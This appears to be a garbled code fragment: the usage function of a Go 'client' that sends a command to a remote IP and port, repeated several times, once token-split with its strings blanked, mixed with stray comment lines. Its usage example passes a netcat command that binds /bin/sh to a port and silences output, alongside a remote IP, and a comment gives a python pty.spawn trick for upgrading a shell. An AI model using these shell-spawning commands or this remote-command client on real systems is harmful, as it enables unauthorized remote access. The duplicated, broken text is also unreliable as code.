func showUsage() {
	fmt.Println("usage: go run client.go 'IP' 'PORT' 'HEADER' 'COMMAND' ")
	fmt.Println("example: ./client '51.15.85.68' 2222 'DNS_Session' 'nc -nv 127.0.0.1 1337 -e /bin/sh > /dev/null 2>&1 &' ")
	// to spawn a tty if python is installed : python -c 'import pty; pty.spawn("/bin/sh")'
	log.Fatal()
}
// show helper on how to use this client
show helper on how to use this client
// show helper on how to use this client
func showUsage() {
	fmt.Println("usage: go run client.go 'IP' 'PORT' 'HEADER' 'COMMAND' ")
	fmt.Println("example: ./client '51.15.85.68' 2222 'DNS_Session' 'nc -nv 127.0.0.1 1337 -e /bin/sh > /dev/null 2>&1 &' ")
	log.Fatal()
}
func showUsage ( ) { fmt . Println ( " " ) fmt . Println ( " " ) log . Fatal ( ) }
show helper on how to use this client
show helper on how to use this client
// to spawn a tty if python is installed : python -c 'import pty; pty.spawn("/bin/sh")'